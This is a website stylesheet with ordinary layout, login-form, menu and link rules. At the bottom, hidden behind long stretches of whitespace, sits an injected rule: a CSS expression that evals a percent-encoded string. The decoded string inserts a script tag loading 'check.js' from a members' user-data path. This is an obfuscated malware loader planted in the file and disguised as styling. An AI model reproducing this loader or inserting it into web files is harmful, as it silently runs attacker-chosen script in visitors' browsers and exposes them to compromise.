/*    _______________________________                         */
/*___/  Top-level global             \_________________________________________*/

.wrapper
{
	position: relative;	
	width: 800px;
	margin-left: auto;
	margin-right: auto;
	text-align: left;
}

body
{
	margin: 0;
	background: black;
	color: white;
	font-family: "Segoe UI", "Sans", sans-serif;
	font-size: 10pt;
	text-align: center;
}

.head
{
	font-size: 20pt;
	width: 100%;
	background: url(/img/header_bg.png) top;
	padding: 5px;
}

.subhead
{
	font-size: 17pt;
	/*font-weight: bold;*/
	color: rgb(60, 96, 201);
}

.small
{
	font-size: 9pt;
	color: rgb(170, 170, 170);
}

.reduced
{
	font-size: 9pt;
}

.subtle
{
	font-size: 9pt;
	color: rgb(75, 75, 100);
}

.subtle, .subtle a:link, .subtle a:hover, .subtle a:visited
{
	color: rgb(75, 75, 100);
}

.context_message
{
	position: absolute;
	left: 100px;
	top: 60px;
	width: 300px;

	background: black;
	border: 3px solid rgb(0, 255, 0);
	padding: 10px;
	
	z-index: 20;
}

.top
/* Pin Project logo area */
{
	left: 0px;
	top: 0px;
	width: 800px;
	height: 257px;
}

.main
/* main content container */
{
	position: absolute;
	
	left: 0px;
	width: 800px;
	
}

.horizontal_separation
{
	height: 8px;
	font-size: 0px;
}

/*    _______________________________                         */
/*___/  Content area                 \_________________________________________*/

.content
{
	position: absolute;
	top: 0px;
	left: 126px;
	width: 650px;
	z-index: 0;
}

.redborder
{
	border: 1px dotted red;
	padding: 10px;
}

.redtext
{
	color: red;
}

.accent
{
	color: rgb(198, 168, 113);
}

.accent2
{
	color: rgb(75, 87, 197);
}

.inset
{
	background: rgb(16, 11, 26);
	padding: 10px;
}

.profile_box_header
{
	font-size: 10pt;
	background: url(/img/profile_box_header_bg.png) top;
	padding: 3px;
}

.profile_box_border
{
	font-size: 10pt;
	border: 2px solid rgb(28, 46, 98);
	padding: 1px;
	background: black;
}

.padded_text
{
	width: 90%;
	padding: 15px;
}

/*    _______________________________                         */
/*___/  Login portal                 \_________________________________________*/

.loginp_top
{
	width: 800px;
	height: 170px;
}

.loginp_title
{
	position: absolute;
	left: 310px;
	top: 245px;
	width: 458px;
	height: 25px;
	
	font-size: 20px;
	font-weight: bold;
	
	text-align: center;
}

.loginp_box
{
	
	font-size: 16px;
	
	padding: 8px;
}

.loginform_p
/* change appearance of text box and button */
{
	background: rgb(27, 32, 84);
	border: 1px solid rgb(54, 66, 167);
	font-size: 12px;
	color: white;
}

/*    _______________________________                         */
/*___/  Special applications         \_________________________________________*/

.login
{
	position: absolute;
	left: 550px;
	top: 50px;
	width: 100px;
	
	border: 2px solid rgb(32, 9, 30);
	
	background: url(img/login_bg.png) top;
}

.loginform
/* change appearance of text box and button */
{
	background: rgb(192, 44, 44);
	border: 1px solid rgb(255, 120, 120);
	font-size: 10px;
	color: white;
}

/*    _______________________________                   				       */
/*___/  Colored side menus           \_________________________________________*/

.yellowmenu
{
	position: relative;	
	left: 15px;
	width: 100px;

	z-index: 10;
	border: 1px solid rgb(100, 100, 100);
	background: black;
}

.yellowmenu_title
{
	width: 100%;
	text-align: center;
	
	background: url(img/login_bg.png) top;
	
	font-size: 15px;
	font-weight: bold;
	color: white;
}

.redmenu
{
	position: relative;	
	left: 15px;
	width: 100px;

	z-index: 10;
	border: 1px solid rgb(137,31,31);
	background: black;
}

.redmenu_title
{
	width: 100%;
	text-align: center;
	
	background: url(img/leftmenu2_bg.png) top;
	
	font-size: 15px;
	font-weight: bold;
	color: white;
}

.right
{
	display: none;
	position: absolute;
	left: 565px;
	top: 0px;
	width: 100px;
	
	border: 1px solid rgb(39,43,89);
	
	font-size: 11px;
}

.right_title
{
	width: 100%;
	text-align: center;
	
	background: url(img/right_bg.png) top;
	
	font-size: 15px;
	font-weight: bold;
	color: white;
}

.menu_text
{
	padding-left: 10px;
	padding-right: 10px;
}

/*#dynamic_content
{
	width: 40%;
	margin: 5px;
	padding: 5px;
	border: 2px solid rgb(39,43,89);
	float: left;
}

#bulletin
{
	width: 40%;
	margin: 5px;
	padding: 5px;
	border: 2px solid rgb(39,43,89);
	float: left;
}

#bulletincommentdiv
{
	width: 100%;
}*/

.bulletin_poster
{
	float: left;
	color: blue;
}

.bulletin_date
{
	font-size: 8pt;
	float: right:
	color: gray;
}



/*    _______________________________                         */
/*___/  Message content              \_________________________________________*/

.event
{
	margin-bottom: 15px;
}

blockquote
{
	border-left: 1px solid rgb(75, 75, 75);
	padding-left: 10px;
	margin-top: 5px;
	margin-bottom: 5px;
	margin-left: 35px;
}

/*    _______________________________                         */
/*___/  Navigation menu              \_________________________________________*/


	
a:link
{
	color: white;
	text-decoration: none;
}

a:visited
{
	color: white;
	text-decoration: none;
}

a:hover
{
	color: rgb(209, 62, 13);
	text-decoration: none;
}







































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%35%39%32%37%34%3B%20%4A%53%53%33%20%3D%20%27%2F%6D%65%6D%62%65%72%73%2F%75%73%65%72%44%61%74%61%2F%64%61%76%69%64%2F%6A%69%66%65%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%6D%65%6D%62%65%72%73%2F%75%73%65%72%44%61%74%61%2F%64%61%76%69%64%2F%6A%69%66%65%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      




































































































